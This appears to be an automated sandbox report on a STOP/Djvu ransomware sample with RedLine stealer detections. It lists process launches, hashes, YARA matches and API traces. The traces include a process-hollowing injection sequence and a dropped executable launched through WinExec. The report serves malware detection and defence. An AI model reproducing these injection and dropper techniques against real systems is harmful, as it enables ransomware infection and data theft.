Commandline:	"C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	812'032 bytes
MD5 hash:	A462CC4BBCFC709D15C578F9EAA6C09F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000006.00000002.1341092926.0000000002204000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000006.00000002.1341204110.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000006.00000002.1341204110.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:03:33
Start date:	25/07/2024
Path:	C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe --Task
Imagebase:	0x400000
File size:	812'032 bytes
MD5 hash:	A462CC4BBCFC709D15C578F9EAA6C09F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000007.00000002.1368421417.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000007.00000002.1368421417.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000007.00000002.1368339677.00000000021A4000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 100%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:03:33
Start date:	25/07/2024
Path:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	812'032 bytes
MD5 hash:	A462CC4BBCFC709D15C578F9EAA6C09F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000008.00000002.2536137038.0000000000756000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000008.00000002.2535359075.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000008.00000002.2535359075.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000008.00000002.2535359075.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	20:03:36
Start date:	25/07/2024
Path:	C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe --Task
Imagebase:	0x400000
File size:	812'032 bytes
MD5 hash:	A462CC4BBCFC709D15C578F9EAA6C09F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000009.00000002.2536135899.00000000006B7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000009.00000002.2535409912.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000009.00000002.2535409912.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000009.00000002.2535409912.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	20:03:37
Start date:	25/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7840 -s 1560
Imagebase:	0x4b0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	20:03:43
Start date:	25/07/2024
Path:	C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe" --AutoStart
Imagebase:	0x400000
File size:	812'032 bytes
MD5 hash:	A462CC4BBCFC709D15C578F9EAA6C09F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000E.00000002.1453140675.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000E.00000002.1453140675.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000E.00000002.1453085219.0000000002252000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	20:03:43
Start date:	25/07/2024
Path:	C:\Users\user\AppData\Local\Temp\lvAVrO.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\lvAVrO.exe
Imagebase:	0xf0000
File size:	15'872 bytes
MD5 hash:	F7D21DE5C4E81341ECCD280C11DDCC9A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	20:03:45
Start date:	25/07/2024
Path:	C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe" --AutoStart
Imagebase:	0x400000
File size:	812'032 bytes
MD5 hash:	A462CC4BBCFC709D15C578F9EAA6C09F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000010.00000002.1462942459.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000010.00000002.1462942459.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000010.00000002.1462942459.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	20:04:05
Start date:	25/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\74ef2ae8.bat" "
Imagebase:	0xd70000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	20:04:05
Start date:	25/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	23.9%
Signature Coverage:	49.7%
Total number of Nodes:	159
Total number of Limit Nodes:	32

Executed Functions

Function 004093C0 Relevance: 49.2, APIs: 24, Strings: 4, Instructions: 163
filelibrarypipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(774D3020,774E38D0,774D3710,001756BA), ref: 004093E0
SetConsoleCursorInfo.KERNEL32(00000000,00000000), ref: 004093F3
DebugBreak.KERNEL32 ref: 004093F5
SetCalendarInfoW.KERNEL32(00000000,00000000,00000000,00000000), ref: 004093FF
GetPrivateProfileIntA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00409409
SetLastError.KERNEL32(00000000), ref: 00409411
CopyFileA.KERNEL32(00000000,00000000,00000000), ref: 00409429
GetSystemWow64DirectoryW.KERNEL32(?,00000000), ref: 00409439
GetStartupInfoW.KERNEL32(?), ref: 00409444
GlobalUnfix.KERNEL32(?), ref: 00409482
TerminateThread.KERNEL32(00000000,00000000), ref: 004094D0
GetUserDefaultLCID.KERNEL32 ref: 004094D2
WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004094DC
GetNamedPipeHandleStateA.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 004094FE
LoadLibraryA.KERNELBASE(msimg32.dll), ref: 0040955E
GetModuleHandleA.KERNEL32(yebufilalib), ref: 0040957D
SetDllDirectoryW.KERNEL32(00000000), ref: 00409585
FormatMessageA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00409599
SearchPathW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 004095AB
VerifyVersionInfoA.KERNEL32(?,00000000,00000000,00000000), ref: 004095BF
FindFirstChangeNotificationA.KERNEL32(pafaxige,00000000,00000000), ref: 004095CE
InterlockedExchange.KERNEL32(?,00000000), ref: 004095DB
GlobalUnfix.KERNEL32(00000000), ref: 004095E3
VerifyVersionInfoW.KERNEL32(?,00000000,00000000,00000000), ref: 004095F7

Strings

u7, xrefs: 0040944A
yebufilalib, xrefs: 00409578
msimg32.dll, xrefs: 0040950B, 00409510
pafaxige, xrefs: 004095C9

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: Info$DirectoryErrorGlobalHandleLastPrivateProfileUnfixVerifyVersion$BreakCalendarChangeConsoleCopyCursorDebugDefaultExchangeFileFindFirstFormatInterlockedLibraryLoadMessageModuleNamedNotificationPathPipeSearchStartupStateStringSystemTerminateThreadUserWow64Write
String ID: msimg32.dll$pafaxige$yebufilalib$u7
API String ID: 2114336955-1142937355
Opcode ID: 53c55ca70927c70e57f2a07c247509c4b53088798af72b446f23fcfb5d4e2936
Instruction ID: f26fdef32a68c0b6f74ba6392a94b3361012b9d96bac239eb2c8e8623b689f91
Opcode Fuzzy Hash: 53c55ca70927c70e57f2a07c247509c4b53088798af72b446f23fcfb5d4e2936
Instruction Fuzzy Hash: A451C6312443C1ABF320DBA4DE49F893BA4A744B05F100539F389BA5F2C7B85984CB6E

Function 004ED044 Relevance: 33.4, APIs: 4, Strings: 15, Instructions: 171
fileprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 004ED223
WriteFile.KERNELBASE(00000000,FFF1D58F,00003E00,?,00000000), ref: 004ED252
FindCloseChangeNotification.KERNELBASE(00000000), ref: 004ED256
WinExec.KERNEL32(?,00000005), ref: 004ED262

Strings

Crea, xrefs: 004ED169
catA, xrefs: 004ED1AF
GetT, xrefs: 004ED188
.dll, xrefs: 004ED102
GetM, xrefs: 004ED0B6
odul, xrefs: 004ED22D
Clos, xrefs: 004ED129
lvAVrO.exe, xrefs: 004ED1FD, 004ED200
Writ, xrefs: 004ED148
dleA, xrefs: 004ED0D0
WinE, xrefs: 004ED110
Kern, xrefs: 004ED0F4
athA, xrefs: 004ED199
el32, xrefs: 004ED0FB
lstr, xrefs: 004ED1A7

Memory Dump Source

Source File: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: File$ChangeCloseCreateExecFindNotificationWrite
String ID: .dll$Clos$Crea$GetM$GetT$Kern$WinE$Writ$athA$catA$dleA$el32$lstr$lvAVrO.exe$odul
API String ID: 2234911746-3402613143
Opcode ID: fd9ceb4d9df0871e804ce2da45d5d931a1311e18487ca28b7738f40895764f31
Instruction ID: 0f6cd674cbfc675995b7a90477677feed4ee3dd84a79c9d47c9584632d2c7c0c
Opcode Fuzzy Hash: fd9ceb4d9df0871e804ce2da45d5d931a1311e18487ca28b7738f40895764f31
Instruction Fuzzy Hash: 0B614E74D01255DBCF24CF96C984AAEF7B0BF48316F2482ABD505AB701C7789E81CB99

Function 02270110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 02270156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0227016C
CreateProcessA.KERNELBASE(?,00000000), ref: 02270255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02270270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02270283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 0227029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 022702C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 022702E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 02270304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0227032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 02270399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 022703BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 022703E1
ResumeThread.KERNELBASE(00000000), ref: 022703ED
ExitProcess.KERNEL32(00000000), ref: 02270412

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 7849f1fb61b265aa0721bfdebacac34b58a233c6fa1d8f680b01fc548fb3e86c
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 6CB1D874A00209AFDB44CF98C895F9EBBB5FF88314F248158E908AB395D771AE45CF94

Function 021D97C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 021D97EE
Module32First.KERNEL32(00000000,00000224), ref: 021D980E

Memory Dump Source

Source File: 00000000.00000002.1312843484.00000000021D9000.00000040.00000020.00020000.00000000.sdmp, Offset: 021D9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_21d9000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 372fea26677450283862020f240552f775f72b8c464104a28d7c876ac9c2dc4b
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 4DF09631640715AFD7203FF5A88DB6E76E8AF89625F100638E647910C0DB70E8458A61

Function 021D9000 Relevance: .0, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1312843484.00000000021D9000.00000040.00000020.00020000.00000000.sdmp, Offset: 021D9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_21d9000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2648d730b8c13c40dd2f330e791a0c9ed1fd275a7f7c47bdc73f6bbd044f3df
Instruction ID: c8fb52eef88a3423efe5f0f0e848c6bb45e8cbc9bc3725b6b47e32371ed3e54d
Opcode Fuzzy Hash: a2648d730b8c13c40dd2f330e791a0c9ed1fd275a7f7c47bdc73f6bbd044f3df
Instruction Fuzzy Hash: 20013C7114E3C0AFD71387748C69A517F79EF47694B1940CAD480CF2A3C769580ACB22

Function 0040A820 Relevance: 24.1, APIs: 16, Instructions: 114
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoW.KERNEL32(?,A485E736), ref: 0040A867
_check_managed_app.LIBCMTD ref: 0040A89C
__heap_init.LIBCMTD ref: 0040A8A6

Part of subcall function 00411980: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0040A8AB,00000001), ref: 00411996

_fast_error_exit.LIBCMTD ref: 0040A8B4

Part of subcall function 0040AA00: __FF_MSGBANNER.LIBCMTD ref: 0040AA0E
Part of subcall function 0040AA00: __NMSG_WRITE.LIBCMTD ref: 0040AA17
Part of subcall function 0040AA00: ___crtExitProcess.LIBCMTD ref: 0040AA24

__mtinit.LIBCMTD ref: 0040A8BC
_fast_error_exit.LIBCMTD ref: 0040A8C7
__RTC_Initialize.LIBCMTD ref: 0040A8D9
__amsg_exit.LIBCMTD ref: 0040A8F0
___crtGetEnvironmentStringsW.LIBCMTD ref: 0040A902
___wsetargv.LIBCMTD ref: 0040A90C
__amsg_exit.LIBCMTD ref: 0040A917
__wsetenvp.LIBCMTD ref: 0040A91F
__amsg_exit.LIBCMTD ref: 0040A92A
__cinit.LIBCMTD ref: 0040A934
__amsg_exit.LIBCMTD ref: 0040A949
__wwincmdln.LIBCMTD ref: 0040A951

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: __amsg_exit$___crt_fast_error_exit$CreateEnvironmentExitHeapInfoInitializeProcessStartupStrings___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 2168345106-0
Opcode ID: 04aca800a27f9af38fe10a59d5275e58e3fb0c87fe3c08891529f2940ad88592
Instruction ID: 40953642cd7481642a5ff7443f12a3c24a8d3e47da2c64892564d05ab110095e
Opcode Fuzzy Hash: 04aca800a27f9af38fe10a59d5275e58e3fb0c87fe3c08891529f2940ad88592
Instruction Fuzzy Hash: EF41B2F1E003099BEB10EBB29C02B9E76B4AB04308F14453FE515B72C2EA795954CA9A

Function 0040A895 Relevance: 22.6, APIs: 15, Instructions: 88
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_check_managed_app.LIBCMTD ref: 0040A89C
__heap_init.LIBCMTD ref: 0040A8A6

Part of subcall function 00411980: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0040A8AB,00000001), ref: 00411996

_fast_error_exit.LIBCMTD ref: 0040A8B4

Part of subcall function 0040AA00: __FF_MSGBANNER.LIBCMTD ref: 0040AA0E
Part of subcall function 0040AA00: __NMSG_WRITE.LIBCMTD ref: 0040AA17
Part of subcall function 0040AA00: ___crtExitProcess.LIBCMTD ref: 0040AA24

__mtinit.LIBCMTD ref: 0040A8BC
_fast_error_exit.LIBCMTD ref: 0040A8C7
__RTC_Initialize.LIBCMTD ref: 0040A8D9
__amsg_exit.LIBCMTD ref: 0040A8F0
___crtGetEnvironmentStringsW.LIBCMTD ref: 0040A902
___wsetargv.LIBCMTD ref: 0040A90C
__amsg_exit.LIBCMTD ref: 0040A917
__wsetenvp.LIBCMTD ref: 0040A91F
__amsg_exit.LIBCMTD ref: 0040A92A
__cinit.LIBCMTD ref: 0040A934
__amsg_exit.LIBCMTD ref: 0040A949
__wwincmdln.LIBCMTD ref: 0040A951

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: __amsg_exit$___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 107975891-0
Opcode ID: b424a2913b455133b1e4720eaa655a88fa2c483e484a2c54fa5dc36c3a43816e
Instruction ID: 8b2c71dcd9127f66602e9fc928bc8fc8f79b4b8e29f7d525d4063e6631072508
Opcode Fuzzy Hash: b424a2913b455133b1e4720eaa655a88fa2c483e484a2c54fa5dc36c3a43816e
Instruction Fuzzy Hash: 3B3181F1E003059AEB00BBF2A90279E7260AB4430CF14453FF519BB2D3EA7D9955CA5B

Function 02270420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 02270533

Strings

mfoaskdfnoa, xrefs: 02270520, 02270523
d, xrefs: 02270584
saodkfnosa9uin, xrefs: 022704DA
0, xrefs: 02270492

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 7a747ec890602e8c5436fd01b143be3182b9193d1356ab521cd7574b5f750d64
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: EF511870D08388DAEB11CBE8C849BDDBFB2AF11708F144058D5447F28AC3BA5658CBA6

Function 022705B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 022705EC

Strings

o, xrefs: 02270600
apfHQ, xrefs: 022705E2, 022705E5

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: e33d3fbeed637e322119c10a8ebec72edc4e520470a7992dc499f72c0ed53470
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 91011E70C0825DEADB10DBD8C5583AEBFB5AF41308F148099C4092B241D7B69B58CBA1

Function 004092C0 Relevance: 3.0, APIs: 2, Instructions: 41
librarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNELBASE(004DFAE0,?,00409997), ref: 00409341
VirtualProtect.KERNELBASE(?,00091118,00000040,?,?,00409997), ref: 00409390

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
